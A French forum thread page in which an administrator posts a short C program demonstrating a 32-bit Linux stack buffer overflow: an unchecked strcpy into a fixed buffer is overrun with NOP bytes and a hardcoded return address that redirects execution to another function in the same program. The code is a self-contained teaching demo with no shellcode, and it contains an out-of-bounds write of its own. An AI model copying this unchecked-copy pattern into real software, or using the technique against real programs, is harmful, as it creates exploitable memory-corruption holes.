Votre bannière pub ici? contactez nous
Notes
 

Sujet : Buffer Overflow Exploit Example Linux 32

Affiche les résultats de 1 à 1 sur 1
  1. Buffer Overflow Exploit Example Linux 32 
    #1
    Administrateur Avatar de chahin
    Inscrit
    novembre 2011
    Messages
    748
    Remerciements
    58
    Remercié(e) 29 fois dans 29 messages
    /*
    ================================================== ==========================
    Name : ExploitIt.c
    Author : SleepProgger
    Version :
    Copyright : Your copyright notice
    Description : Hello World in C, Ansi-style
    ================================================== ==========================
    */

    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>

    // #define RET 0x08048464 // with exit
    #define RET 0x08048434
    #define NOP 0x90
    #define LEN 100

    void weakFunc(void){
    printf("r u a wizard ?\n");
    // exit(0);
    }
    void weakFunc2(char *data){
    char smallBuffer[LEN];
    strcpy(smallBuffer, data);
    printf("%s copied\n", data);
    }

    int main(void) {
    int i;
    int length = LEN+15;
    char toLarge[length];

    for (i=0;i<length;++i){
    *(toLarge+i) = NOP;
    }
    *(long *)&toLarge[length-3] = RET;
    toLarge[length+1] = '\0';

    weakFunc2(toLarge);
    return 0;
    }
     
     

  2. # ADS
    Pub
    Circuit publicitaire
    Inscrit
    Toujours
    Messages
    Plusieurs

    Rappel: N'oubliez pas de remercier les uploaders pour leur travail. Merci à vous

     

Règles des messages
  • Vous ne pouvez pas créer de sujets
  • Vous ne pouvez pas répondre aux sujets
  • Vous ne pouvez pas importer de fichiers joints
  • Vous ne pouvez pas modifier vos messages
  •